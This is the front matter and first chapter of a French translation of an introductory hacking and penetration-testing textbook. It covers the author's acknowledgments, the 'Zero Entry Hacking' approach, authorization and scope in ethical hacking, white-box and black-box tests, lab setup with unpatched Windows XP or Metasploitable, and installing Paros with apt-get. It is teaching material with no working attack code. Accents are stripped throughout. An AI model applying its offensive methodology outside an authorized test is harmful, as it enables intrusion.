Vous êtes sur la page 1sur 369

Pearson France a apport le plus grand soin la ralisation de ce livre afin de vous fournir une information complte et fiable.

. Cependant, Pearson France nassume de responsabilits, ni pour son utilisation, ni pour les contrefaons de brevets ou atteintes aux droits de tierces personnes qui pourraient rsulter de cette utilisation. Les exemples ou les programmes prsents dans cet ouvrage sont fournis pour illustrer les descriptions thoriques. Ils ne sont en aucun cas destins une utilisation commerciale ou professionnelle. Pearson France ne pourra en aucun cas tre tenu pour responsable des prjudices ou dommages de quelque nature que ce soit pouvant rsulter de lutilisation de ces exemples ou programmes. Tous les noms de produits ou marques cits dans ce livre sont des marques dposes par leurs propritaires respectifs.

Publi par Pearson France Immeuble Terra Nova II 15 rue Henri Rol-Tanguy 93100 Montreuil Tl. : +33(0)1 43 62 31 00 www.pearson.fr Mise en pages : Desk ISBN dition imprime : 978-2-7440-2598-3 ISBN dition numrique : 978-2-7440-5723-6 Copyright 2013 Pearson France Tous droits rservs

Titre original : The Basics of Hacking and Penetration Testing, Second Edition, by Patrick Engebretson Traduit par Herv Soulard ISBN original : 978-0124116443 Copyright 2013, 2011 Elsevier Inc. All Rights reserved.

Aucune reprsentation ou reproduction, mme partielle, autre que celles prvues larticle L. 122-5 2 et 3 a) du code de la proprit intellectuelle ne peut tre faite sans lautorisation expresse de Pearson Education France ou, le cas chant, sans le respect des modalits prvues larticle L. 122-10 dudit code. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from Pearson Education, Inc.

Avertissement
Dans cet ebook, la taille de la police de caractre utilise pour le code a t rduite et optimise afin de respecter au mieux l'indentation des lignes de code et d'assurer leur bonne lisibilit. Si vous souhaitez agrandir la police lors de votre lecture, nous vous invitons tre vigilants sur les csures, sauts de lignes, et ruptures d'indentation qui pourraient en dcouler.

Remerciements
Merci toutes les personnes qui se sont impliques dans la ralisation de cette seconde dition. La publication dun livre est un travail dquipe et jai eu la chance davoir t entour de collgues extraordinaires. La liste ci-aprs est tristement insuffisante et je men excuse lavance. Je remercie quiconque a permis de faire de cet ouvrage une ralit.

Ma femme
Mon rocher, mon phare, ma raison dtre. Merci pour tes encouragements, ta confiance, ton soutien et ta bonne volont devenir "mre clibataire" pendant que je disparaissais des heures et des jours travailler sur cette seconde dition. Comme pour tant dautres choses dans ma vie, je suis certain que sans toi cet ouvrage nexisterait pas. Je te dois plus qu quiconque ce travail. Je taime.

Mes filles
Je sais que la rdaction de cette dition a t pour vous plus difficile supporter que celle de la premire car vous tes prsent suffisamment ges pour que mon absence vous soit douloureuse, mais nanmoins trop jeunes pour la comprendre. Un jour, lorsque vous aurez grandi, jespre que vous prendrez cet ouvrage et comprendrez que tout ce que je fais dans la vie je le fais pour vous.

Ma famille

Merci tous les membres de ma famille largie pour votre amour et votre soutien. Je remercie particulirement ma maman, Joyce, qui a encore jou le rle dditeur officieux et a probablement lu cet ouvrage plus que nimporte qui. Tes commentaires et tes conseils ont revtu une grande importance.

Dave Kennedy
Jai t vritablement honor que tu contribues cet ouvrage. Je sais combien tu es occup entre ta famille, TrustedSec, la tourne CON, SET et tous les autres projets fous que tu mnes. Tu as toujours trouv du temps pour celui-ci et tes ides ont permis darriver une dition meilleure que je ne laurais espr. Merci, mon ami. Je serais indlicat de ne pas te rendre un hommage supplmentaire, car tu as non seulement contribu la validit technique de cet ouvrage, mais galement travaill sans relche le rendre compatible avec Kali et tu tes charg seul du Chapitre 5.

Jared DeMott
Que puis-je dire au dernier homme qui me donne limpression dtre un parfait idiot devant un ordinateur ? Merci davoir donn de ton temps et soutenu mon travail. Tu es devenu un bon ami et japprcie ton aide.

lquipe de Syngress
Encore merci pour mavoir offert lopportunit de cette publication ! Merci lquipe ditoriale, dont japprcie le dur travail et le dvouement accord ce projet. Je salue particulirement Chris Katsaropoulos pour tous ses efforts.

propos de lauteur
Patrick Engebretson est titulaire dun doctorat s sciences de luniversit du Dakota, avec une spcialisation dans le domaine de la scurit de linformation. Il est actuellement professeur adjoint en matire de scurit des ordinateurs et des rseaux. Il travaille galement comme expert en tests dintrusion pour une socit de scurit du Midwest. Ses recherches concernent les tests dintrusion, le hacking, les exploits et les logiciels malveillants. Il est intervenu en tant que confrencier lors des manifestations DEFCON et Black Hat de Las Vegas. Il a galement t invit par le Department of Homeland Security afin de partager ses recherches lors du Software Assurance Forum qui sest tenu Washington, DC. Il participe rgulirement aux formations de pointe sur les exploits et les tests dintrusion rserves aux professionnels de lindustrie et dtient plusieurs certifications. Il donne des cours sur les tests dintrusion, lanalyse des logiciels malveillants et les exploits labors.

Introduction
Il mest difficile de croire que dj deux ans se sont couls depuis la premire dition de cet ouvrage. En raison de la popularit du manuscrit de la seconde dition et des avis (principalement positifs) que jai reus, je dois confesser mon anxit de la voir arriver dans les librairies. Le contenu na pas chang de manire drastique. Les bases du hacking et des tests dintrusion sont restes les mmes. Toutefois, aprs avoir achev la premire dition, chang avec les lecteurs et cout les innombrables suggestions damlioration soumises par ma famille, mes amis et mes collgues, je pense que cette nouvelle version va clipser la premire sur de nombreux points. Le contenu le plus ancien et obsolte a t retir, du nouveau a t ajout et lintgralit de louvrage a t peaufine. linstar de la plupart des personnes qui voluent dans le monde de la scurit, je continue apprendre, mes mthodes denseignement samliorent en permanence et mes tudiants me poussent leur donner de nouvelles informations. Cest pourquoi je me suis intress de nouveaux outils incroyables et dautres aspects que je mempresse de partager avec vous. Je suis reconnaissant pour tous les commentaires sur la premire dition que jai reus et jai travaill prement pour faire en sorte que celle-ci soit meilleure encore. Au dbut de mes rflexions sur la seconde dition, jai examin chaque chapitre afin de vrifier la qualit de son contenu et quil restait pertinent. Comme pour nimporte quelle seconde dition, vous constaterez que certaines parties sont identiques la prcdente, que dautres ont t actualises pour traiter des nouveaux outils et que dautres encore ont t supprimes car obsoltes. Pour nombre dentre vous, le plus important sera que jaborde de nouveaux sujets et outils afin de rpondre aux questions qui mont souvent t poses. En matire de contrle de qualit, Dave Kennedy et moi-mme avons revu chaque exemple et les outils

dcrits et avons actualis les captures dcran. Le livre a galement t rdig de faon prendre en charge Kali Linux. Je souhaite remercier tous les lecteurs de ldition prcdente qui mont pos des questions et ont envoy des corrections. Je me suis assur dinclure ces mises jour. Que vous ouvriez louvrage pour la premire fois ou que vous y reveniez pour prendre connaissance des nouveaux outils, je pense que vous apprcierez cette nouvelle dition. Comme je lcrivais au dbut de la premire dition de ce livre, je suppose que de nombreuses questions vous viennent lesprit alors que vous envisagez de lire cet ouvrage. qui est-il destin ? En quoi diffret-il dun autre ouvrage ? Pourquoi devrais-je lacheter ? Que dois-je mettre en place pour reproduire les exemples ? Puisque toutes ces questions sont lgitimes et que je vous demande de dpenser votre argent durement gagn, il est important que japporte quelques rponses. Pour les personnes qui sintressent au hacking et aux tests dintrusion, trouver louvrage qui leur convient dans une librairie bien approvisionne peut se rvler aussi compliqu que de parcourir le Web la recherche de didacticiels sur le sujet. Au premier abord, il semble que le choix soit presque infini. Les plus grandes librairies rservent des tagres entires aux ouvrages sur la scurit informatique. Vous trouverez des livres sur la scurit des programmes, celle des rseaux, celle des applications web, celle des appareils mobiles, les rootkits, les logiciels malveillants, les tests dintrusion, lvaluation de la vulnrabilit, lexploitation et, bien entendu, le hacking. Par ailleurs, mme les ouvrages sur ce dernier thme varient, tant par leur contenu que par le sujet prcis trait. Certains se focalisent sur lemploi des outils, sans expliquer comment les associer. Dautres se concentrent sur un point particulier du hacking, sans sintresser sa globalit. Cet ouvrage souhaite rpondre ces problmes. Il se veut un seul point de dpart pour quiconque sintresse au hacking et aux tests dintrusion. Il va videmment prsenter des outils et des sujets prcis, mais il

noubliera pas dexpliquer comment ces outils saccordent et comment ils se fondent les uns sur les autres pour une utilisation russie. Pour aller au bout de votre apprentissage initial, il vous faudra matriser la fois les outils et la mthodologie qui permettra de les exploiter correctement. Autrement dit, au dbut de votre formation, vous devrez comprendre non seulement comment excuter chaque outil, mais galement comment ils se combinent et comment ragir quand ils chouent.

Nouveauts de la 2e dition 1
Je lai mentionn prcdemment, jai pass beaucoup de temps tenter de rpondre aux critiques et aux questions pertinentes que les lecteurs de ldition prcdente ont portes mon attention. Jai repris tous les exemples de chaque chapitre afin de massurer quils taient cohrents et pertinents. En particulier, cette nouvelle dition sest attache amliorer la structure, lordre, lorganisation et la classification de chaque attaque et outil. Je me suis efforc didentifier clairement les attaques qui sont locales et celles qui sont distantes afin que le lecteur comprenne mieux lobjectif, la place et lesprit de chaque sujet. Par ailleurs, je me suis normment investi dans la rorganisation des exemples afin quil soit plus facile de mener bien les attaques prsentes contre une seule cible (Metasploitable). La seule exception cela est la phase de reconnaissance. La procdure de reconnaissance numrique requiert souvent lutilisation de cibles actives pour tre efficace. Outre les changements au niveau structurel, jai retir plusieurs outils de ldition prcdente et en ai ajout de nouveaux la place, notamment ThreatAgent, les outils dinterrogation du DNS, Nmap Scripting Engine, Social-Engineer Toolkit, Armitage, Meterpreter, w3af, ZAP et dautres. prsent, les exemples donns fonctionnent galement avec Kali Linux. Enfin, jai mis jour la mthodologie ZEH ( Zero Entry Hacking) pour tenir compte des activits, des outils et des procdures postexploitation.

Public du livre
Cet ouvrage est un petit guide rigoureux dans le monde du hacking et des tests dintrusion. Son objectif est de vous aider matriser les tapes de base ncessaires la mise en place dun hack ou dun test dintrusion sans que vous vous sentiez accabl. Au terme de sa lecture, vous aurez acquis une solide comprhension des tests dintrusion et matriserez les outils de base ncessaires leur mise en uvre. Ce livre est plus prcisment destin aux personnes qui dbutent dans le monde du hacking et des tests dintrusion, celles qui disposent daucune ou dune petite exprience, celles qui sont frustres par le manque de vision globale (comment sassocient les diffrents outils et tapes), celles qui souhaitent se mettre jour avec les outils et les mthodes des tests dintrusion, ainsi qu quiconque veut tendre ses connaissances en matire de scurit offensive. En rsum, cet ouvrage a t crit pour tous ceux qui sintressent la scurit informatique, au hacking et aux tests dintrusion, sans possder dexprience ni savoir par o commencer. Jai pour habitude de donner ce concept le nom de Zero Entry Hacking (ZEH), ou "hacking en pente douce". la manire de certaines piscines, lentre se fait progressivement depuis une plage immerge ; les nageurs dbutants nont plus craindre de plonger dans un environnement inconnu. Cet ouvrage se fonde sur une approche comparable. Vous allez pntrer dans le monde du hacking et des tests dintrusion en suivant une pente douce, avec une prsentation des concepts de base qui vous vitera de vous sentir accabl. Vous serez ensuite par pour des formations ou des ouvrages plus labors.

Singularit du livre
Lorsque je ne passe pas du temps auprs de ma famille, voici mes deux occupations prfres : lecture et hacking. En gnral, jassocie ces deux

passe-temps en lisant des ouvrages qui traitent de hacking. Vous pouvez facilement imaginer quen tant quenseignant et professionnel des tests dintrusion jai une bibliothque remplie douvrages sur le hacking, la scurit et les tests dintrusion. La qualit et lintrt de chacun de ces ouvrages varient. Certains constituent dexcellentes ressources et ont t consults de si nombreuses reprises que les pages se dtachent. Dautres sont moins utiles et pratiquement comme neufs. Un livre qui explique correctement les dtails sans noyer le lecteur vaut son pesant dor. Malheureusement, la plupart des ouvrages que je prfre, ceux qui sont uss et en lambeaux, sont soit trs volumineux (plus de 500 pages) soit trs cibls (guide approfondi sur un seul sujet). Aucune de ces approches nest mauvaise. En ralit, ils sont trs intressants en raison de leur niveau de dtail et de la clart des explications des auteurs. Toutefois, un tome volumineux qui se focalise sur un sujet prcis de la scurit risque de rebuter les nouveaux venus. Malheureusement, pour un novice qui tente dapprocher le domaine de la scurit et dapprendre les bases du hacking, la lecture de lun de ces livres risque de se rvler intimidante et droutante. Le prsent ouvrage se distingue des autres publications sur deux plans. Premirement, il est destin aux dbutants (rappelez-vous le concept de "pente douce"). Si vous navez jamais effectu une quelconque action de hacking ou avez dj employ des outils mais ne savez pas comment avancer (ou comment interprter les rsultats obtenus), cet ouvrage est fait pour vous. Lobjectif nest pas de vous ennuyer avec des dtails mais de vous prsenter une vue densemble suffisamment large du domaine. Ce livre ne fera pas de vous un expert de tous les aspects des tests dintrusion, mais vous allez acqurir les connaissances suffisantes pour passer des sujets plus labors. Bien videmment, les principaux outils ncessaires la mise en uvre dun test dintrusion sont tudis, mais sans entrer en profondeur dans toutes leurs fonctionnalits. Nous nous concentrerons sur les bases, ce qui nous permettra, dans la plupart des cas, dviter toute confusion provoque par des fonctionnalits labores ou des diffrences mineures

dans les versions des outils. Au terme de la lecture de cet ouvrage, vous en saurez assez pour apprendre par vous-mme utiliser les fonctionnalits avances ou les nouvelles versions des outils prsents. Par exemple, dans le chapitre sur le scan des ports, nous expliquons comment raliser des scans simples avec Nmap. Puisque cet ouvrage se focalise sur les bases, la version de Nmap utilise devient moins importante. La mise en place dun scan de type SYN avec Nmap est identique que vous utilisiez la version 2 ou la version 5. Cette approche sera retenue aussi souvent que possible afin que le lecteur qui dbute avec Nmap (ou tout autre outil) nait pas se proccuper des changements qui accompagnent souvent les nouvelles versions des fonctionnalits labores. En rdigeant le contenu de ce livre selon ce principe, sa dure de vie devrait sen trouver prolonge. Dans cet ouvrage, nous avons pour objectif dapporter les connaissances gnrales qui vous permettront de passer ensuite des sujets et des livres plus avancs. Lorsque les bases sont matrises, il est toujours possible de revenir en arrire et de dcouvrir les dtails spcifiques et les fonctionnalits labores dun outil. Par ailleurs, chaque chapitre se termine par une liste doutils et de sujets qui sortent du cadre de cet ouvrage mais qui vous permettront de complter vos connaissances. Deuximement, outre le fait dtre rdig pour les dbutants, ce livre prsente les informations de manire unique. Tous les outils et techniques employs sont appliqus dans un ordre prcis sur un ensemble rduit de cibles proches (toutes les machines cibles appartiennent au mme sousrseau, avec une infrastructure facile recrer). Le lecteur verra comment interprter les rsultats fournis par un outil et comment sen servir pour poursuivre lattaque dun chapitre au suivant. Nous examinons la fois les attaques locales et distantes, en expliquant pourquoi lune ou lautre est prfrable. En droulant de faon squentielle un exemple unique tout au long de cet ouvrage, le lecteur aura une vision plus claire de lensemble et

comprendra plus aisment la place et les interactions de chaque outil. En cela, son approche diffre des autres livres disponibles sur le march, qui prsentent souvent les diffrents outils et attaques sans montrer comment ils peuvent tre utiliss ensemble. Lutilisateur saura ainsi comment passer dune tape une autre et pourra raliser lintgralit dun test dintrusion en suivant simplement les exemples. Il va acqurir les connaissances fondamentales tout en apprenant associer les diffrents outils et mettre en place les diffrentes phases.

Raisons du choix de ce livre


Les sections prcdentes ont dj donn les raisons qui pourraient vous pousser acheter cet ouvrage. En voici une liste condense : Vous souhaitez acqurir des connaissances sur le hacking et les tests dintrusion, sans savoir par o commencer. Vous vous tes essay au hacking et aux tests dintrusion, mais vous ntes pas certain de comprendre comment tous les lments se combinent. Vous souhaitez en savoir plus sur les outils et les procdures employs par les pirates et les testeurs dintrusion pour accder des rseaux et des systmes. Vous cherchez acqurir les connaissances de base qui vous permettront de mettre en place une scurit offensive. Il vous a t demand deffectuer un audit de la scurit de votre entreprise. Vous aimez les dfis.

Suivre les exemples


Il est tout fait possible de lire cet ouvrage du dbut la fin sans reproduire aucun des exemples. Je vous recommande toutefois de mettre les mains dans le cambouis et dessayer les outils et techniques prsents.

Rien ne remplace lexprience acquise par la pratique. Tous les exemples peuvent tre mis en uvre en utilisant des outils et des logiciels gratuits, notamment VMware Player et Linux. Vous devez nanmoins essayer dobtenir une copie de Windows XP (de prfrence sans les Service Packs appliqus) afin de crer une cible Windows. En ralit, nimporte quelle version de Windows, de 2000 8, fera laffaire, mais les versions anciennes sans correctif constituent de meilleures cibles initiales. Dans le cas o vous ne pouvez pas obtenir une copie de Windows ni crer une cible vulnrable, vous pouvez toujours raliser chaque tape en crant ou en tlchargeant une version vulnrable de Linux. Tout au long de cet ouvrage, nous employons une version dUbuntu conue volontairement pour tre vulnrable appele Metasploitable. Elle constitue une cible parfaite pour les mises en pratique et, mieux encore, est totalement gratuite. Au moment de lcriture de ces lignes, vous pouvez tlcharger Metasploitable partir du site SourceForge ladresse http://sourceforge.net/projects/metasploitable/. Attention Cet ouvrage propose de nombreux liens web semblables au prcdent. Le Web tant en constante volution, les adresses ont tendance tre phmres. Si lun des liens donns ne fonctionne pas, servez-vous de Google pour localiser la ressource correspondante. Au Chapitre 1, nous reviendrons en dtail sur la mise en place dun laboratoire de hacking, mais voici une liste rapide des lments dont vous aurez besoin pour suivre les exemples de cet ouvrage : VMware Player ou tout autre logiciel capable dexcuter une machine virtuelle ; une machine virtuelle Kali Linux ou BackTrack Linux, ou une autre version de Linux, pour servir de machine

dattaque ; la machine virtuelle Metasploitable ou nimporte quelle version de Windows sans correctif (de prfrence Windows XP) pour servir de cible. 1. N.d.E. : il sagit de la seconde dition de la version en anglais, mais de la premire en franais.

1 Tests dintrusion
Introduction
Un test dintrusion peut tre vu comme une tentative lgale et autorise de localiser des systmes informatiques et de russir y pntrer dans le but damliorer leur niveau de scurit. La procdure comprend la recherche de vulnrabilits ainsi que la mise en place dattaques en tant que preuves de concept (POC, proof of concept) afin de dmontrer la ralit des vulnrabilits. Un test dintrusion correct se termine toujours par des recommandations prcises qui permettent de traiter et de corriger les problmes dcouverts. En rsum, la procdure est utilise pour aider scuriser les ordinateurs et les rseaux afin de les prmunir contre les attaques futures. Lide gnrale est de trouver les problmes de scurit en utilisant les mmes outils et techniques que les pirates. Ils seront ensuite corrigs avant quun vritable pirate ne les exploite. Les tests dintrusion sont parfois appels pentest, hacking, hacking thique, hacking white hat ou scurit offensive. Il est important de comprendre les diffrences entre test dintrusion et valuation de la vulnrabilit. De nombreuses personnes (y compris les fournisseurs) impliques dans la scurit les emploient tort de faon interchangeable. Lvaluation de la vulnrabilit consiste examiner les services et les systmes la recherche de problmes de scurit ventuels, tandis quun test dintrusion ralise des exploits et des attaques

POC rels afin de dmontrer lexistence dun problme de scurit. Les tests dintrusion vont au-del de lvaluation de la vulnrabilit en simulant les actions dun pirate et en plaant de vritables attaques. Dans cet ouvrage, lvaluation de la vulnrabilit constitue lune des tapes qui permettent daller au bout dun test dintrusion. Prparer le terrain Pour avoir une vision globale, il est indispensable de comprendre les diffrents acteurs et situations que lon rencontre dans le monde du hacking et des tests dintrusion. Nous allons commencer par tracer les grandes lignes du sujet. Sachez que les explications suivantes constituent une simplification excessive. Toutefois, elles devraient vous aider voir les diffrences entre les divers groupes de personnes impliqus. Nous allons nous placer dans lunivers de Star Wars, avec les deux cts de la "force" : les Jedi et les Sith (les bons et les mchants). Chaque camp dispose dune puissance incroyable. Le premier lutilise pour protger et servir, lautre, des fins personnelles. Apprendre le hacking peut se comparer apprendre utiliser la force (enfin, jimagine). Plus vous progressez dans votre apprentissage, plus votre puissance augmente. un moment donn, vous devez dcider si vous allez lexploiter pour faire le bien ou le mal. Des images de lpisode 1 de Star Wars montrent Anakin en jeune garon. Si vous regardez attentivement son ombre, vous verrez quelle correspond celle de Darth Vader (vous trouverez ces images en effectuant une recherche sur les termes "Anakin Darth Vader ombre"). Il est important de comprendre pourquoi ces images ont un intrt. En tant que petit garon, Anakin naspire pas devenir Darth Vader, mais cela se produira nanmoins. Nous pouvons supposer juste titre que les personnes qui entrent dans le monde du hacking sont peu nombreuses vouloir devenir des supermchants. Le problme est que le chemin vers le ct obscur est en

pente glissante. Cependant, si vous voulez tre grand, tre respect par vos pairs et faire partie des forces de scurit, vous devez vous engager utiliser vos pouvoirs dans le but de protger et de servir. Ajouter un crime votre casier revient acheter un aller simple pour une autre profession. Mme sil existe actuellement une pnurie dexperts en scurit, peu demployeurs sont prts prendre le risque dembaucher une personne qui a commis des crimes informatiques. Les rgles et les contraintes deviennent encore plus strictes si vous envisagez un poste qui requiert des habilitations de scurit. Dans le monde des tests dintrusion, il est frquent dentendre les termes white hat et black hat pour dcrire les Jedi et les Sith. Tout au long de cet ouvrage, les termes white hat, "hacker thique" et "testeur dintrusion" seront employs sans distinction pour reprsenter les Jedi (les bons garons). Les Sith seront dsigns sous les termes black hat, cracker, "pirate" ou "assaillant malveillant" (les mchants garons). Il est important de noter que les hackers thiques et les pirates ralisent les mmes activits en employant quasiment les mmes outils. Dans pratiquement toutes les situations, un hacker thique doit agir et rflchir comme un vritable assaillant malveillant. Plus le test dintrusion est proche dune attaque relle, plus le rsultat prsentera un intrt pour le client qui la command. Vous laurez remarqu, dans le paragraphe prcdent nous avons mentionn "dans pratiquement toutes les situations". Bien que les testeurs dintrusion mettent en place les mmes actions avec les mmes outils, il existe tout un monde de diffrences entre les deux cts. Elles peuvent se rduire trois points essentiels : autorisation, motivation et intention. Ils ne sont pas exhaustifs, mais ils seront utiles pour dterminer si une activit entre ou non dans le cadre thique. Lautorisation est la premire faon de diffrencier les white hat et les black hat. Elle consiste obtenir un accord pour mener des tests et des attaques. Lorsque cest fait, le testeur dintrusion et lentreprise audite

doivent dfinir ltendue du test. Cela comprend des informations prcises sur les ressources et les systmes impliqus dans le test. Elle dfinit explicitement les cibles autorises. Il est important que les deux cts comprennent parfaitement laccord et ltendue du test dintrusion. Les white hat doivent toujours respecter lautorisation qui leur a t accorde et rester dans les limites du test. Ces contraintes ne sappliquent pas aux black hat. Info Il est essentiel de dfinir clairement et de comprendre parfaitement ltendue du test. Celle-ci tablit de faon formelle les rgles dengagement du testeur dintrusion et du client. Elle doit comprendre une liste des cibles et prciser les systmes ou les attaques que le client refuse dinclure dans le test. Elle doit tre rdige sur un papier et signe par le personnel autoris, la fois de lquipe de test et du client. Il peut arriver quelle ait besoin dtre amende pendant le test dintrusion. Dans ce cas, soyez certain de lactualiser et de la signer de nouveau avant de procder des tests sur les nouvelles cibles. La deuxime faon de diffrencier un hacker thique et un hacker malveillant concerne leur motivation. Si lassaillant est motiv par des fins personnelles, y compris un profit au travers dextorsion ou dautres mthodes illgales auprs de la victime, par une volont de revanche, un besoin de renomme ou autre, il doit tre considr comme un black hat. A contrario, si les actions de lassaillant ont t autorises et si son objectif est daider lentreprise amliorer sa scurit, il doit tre considr comme un white hat. Par ailleurs, un hacker malveillant peut en gnral consacrer lattaque de lentreprise tout le temps ncessaire. Dans la plupart des cas, un testeur dintrusion naura au mieux que quelques semaines. En fonction de la dure laisse la ralisation du test dintrusion, un white hat pourra ne pas dcouvrir les vulnrabilits labores qui demandent plus de temps.

Enfin, si lintention est de proposer lentreprise une simulation dattaque raliste afin quelle puisse amliorer sa scurit en corrigeant les vulnrabilits dcouvertes, lassaillant doit tre considr comme un white hat. Il est galement important de comprendre que les dcouvertes effectues lors dun test dintrusion doivent rester confidentielles. Jamais un hacker thique ne partagera les informations sensibles dcouvertes au cours dun test dintrusion avec une personne autre que son client. En revanche, si lintention est dexploiter des informations des fins personnelles, lassaillant doit tre considr comme un black hat. Il est galement important de comprendre que tous les tests dintrusion ne sont pas mens de la mme manire ni nont le mme objectif. Les tests dintrusion par bote blanche, ou "transparents", sont trs rigoureux et complets. Lobjectif dun tel test est dexaminer le systme ou le rseau cible dans ses moindres recoins. Il permet dvaluer la scurit globale de lentreprise. Puisque la discrtion nest pas de mise, nombre des outils prsents dans cet ouvrage peuvent tre excuts en mode verbeux. En privilgiant la rigueur la discrtion, le testeur dintrusion est souvent en mesure de dcouvrir un plus grand nombre de vulnrabilits. Cependant, cette approche a pour inconvnient dtre moins fidle la faon de travailler des pirates expriments. Par ailleurs, elle noffre pas lentreprise la possibilit de tester ses systmes de rponse aux incidents et dalerte prcoce. Noubliez pas que le testeur a lintention dtre non pas discret mais rigoureux. Les tests dintrusion par bote noire, ou "cachs", se fondent sur une stratgie radicalement diffrente. Un tel test constitue une simulation beaucoup plus raliste dune attaque mene par un pirate expriment pour obtenir un accs au systme ou au rseau cible. Il met de ct la rigueur et la possibilit de dtecter de multiples vulnrabilits pour privilgier la discrtion et la prcision. Dans ce cas, le testeur se contentera de trouver une seule vulnrabilit quil pourra exploiter. Lavantage de ce type de test est quil sapproche plus des attaques relles. Peu de pirates effectueront aujourdhui un scan des 65 535 ports dune cible. Cette opration est plutt bruyante et sera coup sr repre

par les pare-feu et les systmes de dtection dintrusion. Les hackers malveillants intelligents seront beaucoup plus discrets. Ils pourront scanner un seul port ou interroger un seul service afin de trouver une manire de compromettre la cible et de se lapproprier. Les tests par bote noire ont galement lavantage de donner lentreprise loccasion de tester ses procdures de rponse aux incidents et de dterminer si ses dfenses sont capables de dtecter une attaque cible et de larrter.

Introduction Kali et BackTrack Linux


Il y a quelques annes, une discussion ouverte sur les techniques de hacking et leur enseignement aurait fait lobjet dun certain tabou. Les temps ont heureusement chang et la valeur dune scurit offensive est prsent comprise. Elle est aujourdhui adopte par les entreprises, quels que soient leur taille et leur secteur dactivit. Les gouvernements la prennent galement au srieux. Ils sont nombreux avoir annonc sa mise en place. Un test dintrusion doit jouer un rle important dans la scurit globale de lentreprise. linstar des politiques, de lvaluation du risque, de la planification de la continuit dactivit et du plan de reprise dactivit, qui font dsormais partie intgrante dune stratgie de scurit, il faut y ajouter les tests dintrusion. Ils permettent de voir lentreprise au travers des yeux de lennemi. Ils peuvent mener des dcouvertes surprenantes, en donnant le temps de corriger les systmes avant quun pirate nentre en scne. Lorsque lon souhaite apprendre le hacking, on a aujourdhui sa disposition de nombreux outils. Non seulement ils sont prts lemploi, mais nombre dentre eux font galement preuve dune grande stabilit car ils bnficient de plusieurs annes de dveloppement. Pour certains dentre vous, le plus important sera peut-tre que la plupart sont disponibles gratuitement. Les outils prsents dans cet ouvrage sont tous gratuits.

Sil est facile de savoir quun outil est gratuit, il peut en aller tout autrement pour le trouver, le compiler et linstaller avec tous les autres utilitaires requis pour mener bien un test dintrusion mme de base. Si la procdure se rvle relativement simple sur un systme dexploitation Linux moderne, elle reste un tantinet intimidante pour les novices. En gnral, les gens sont plus intresss par apprendre utiliser les outils qu explorer Internet pour les trouver et ensuite les installer. Pour tre franc, vous devrez apprendre compiler et installer manuellement les logiciels sur une machine Linux. Tout au moins, vous devez vous familiariser avec loutil apt-get (ou quivalent). Aller plus loin APT ( Advanced Package Tool) est un systme de gestion de paquetages. Il permet dinstaller, dactualiser et de supprimer rapidement et facilement des logiciels partir de la ligne de commande. Outre sa simplicit, il prsente lintrt de rsoudre automatiquement les problmes de dpendance. Autrement dit, si le paquetage en cours dinstallation a besoin dun logiciel supplmentaire, APT va se charger de localiser et dinstaller automatiquement celui-ci. Cette possibilit constitue une nette amlioration par rapport aux outils plus anciens. Linstallation dun logiciel laide dAPT est trs simple. Par exemple, supposons que nous souhaitions installer loutil Paros Proxy sur notre machine Linux locale. Paros peut servir, entre autres, valuer la scurit des applications web. Nous examinerons les proxies au Chapitre 6, mais, pour le moment, concentrons-nous sur linstallation de loutil plutt que sur son utilisation. Si nous connaissons le nom du paquetage, il suffit dexcuter apt-get install depuis la ligne de commande en lui prcisant ce nom. Il est toujours prfrable dexcuter apt-get update avant dinstaller un logiciel car nous sommes ainsi certains de disposer de la dernire version. Dans le cas de Paros, il suffit de lancer les commandes suivantes :

apt-get update apt-get install paros Avant que linstallation du paquetage ne dbute, la quantit despace disque requise est affiche et APT demande si nous souhaitons poursuivre. Dans laffirmative, nous saisissons O et appuyons sur la touche Entre. Lorsque linstallation du programme est termine, nous revenons linvite #. Nous pouvons alors lancer Paros en excutant la commande suivante depuis la console : paros Pour le moment, fermons simplement le programme Paros, car notre objectif tait non pas de lancer ou dutiliser Paros, mais de montrer linstallation dun nouveau logiciel. Si vous ne souhaitez pas passer par la ligne de commande, sachez quil existe plusieurs applications graphiques qui sinterfacent avec APT. La plus rpandue se nomme Aptitude. Dautres gestionnaires de paquetage sont disponibles, mais ils sortent du cadre de cet ouvrage. APT nous oblige connatre le nom exact du logiciel installer avant dexcuter la commande apt-get install. Si nous ne sommes pas certains du nom ou ne connaissons pas son orthographe exacte, la commande apt-cache search va nous tre utile. Elle affiche tous les paquetages ou outils qui correspondent au critre de recherche et en donne une courte description. Grce apt-cache search, nous pouvons arriver rapidement au nom du paquetage que nous recherchons. Par exemple, pour obtenir le nom officiel donn au paquetage de Paros, nous commenons par excuter la commande suivante : apt-cache search paros Dans les noms et les descriptions obtenus, nous devrions trouver le paquetage recherch. Il suffira ensuite dexcuter la commande apt-

get install approprie. Si vous choisissez la distribution Kali Linux, Paros sera dj install. Mme dans ce cas, la commande apt-get install reste un outil puissant pour linstallation des logiciels. Des connaissances de base sur Linux vous seront profitables et vous en tirerez de nombreux bnfices sur le long terme. Dans le cadre de cet ouvrage, nous ne supposons aucune exprience pralable avec Linux. Toutefois, pour votre propre bien, nhsitez pas vous engager devenir plus tard un gourou Linux. Inscrivez-vous des formations, lisez des livres ou dcouvrez par vous-mme. Vous nous en remercierez. Si vous vous intressez aux tests dintrusion ou au hacking, vous navez dautre choix que de matriser Linux. Heureusement, le monde de la scurit profite dune communaut trs active et trs gnreuse. Plusieurs organismes ont travaill inlassablement la cration de distributions Linux adaptes la scurit. Une distribution est de faon gnrale une variante, un type ou une marque driv de Linux. Parmi les distributions les plus connues adaptes aux tests dintrusion, il existe BackTrack. Elle reprsente votre guichet unique pour lapprentissage du hacking et la mise en place de tests dintrusion. BackTrack Linux me fait penser cette scne du premier pisode de Matrix o Tank demande Neo : "Alors, de quoi tas besoin, part dun miracle ?" Neo rplique alors : "Des armes, un maximum darmes." ce moment du film, de nombreux rteliers darmes apparaissent. Tous les types darmes imaginables sont proposs Neo et Trinity : des pistolets, des fusils, des fusils de chasse, des semi-automatiques, des automatiques, des explosifs et dautres encore. Lorsquils dmarrent BackTrack ou Kali, les dbutants se trouvent dans la mme situation : des outils, un maximum doutils. BackTrack Linux et Kali Linux sont le rve ralis de tout hacker. Ces

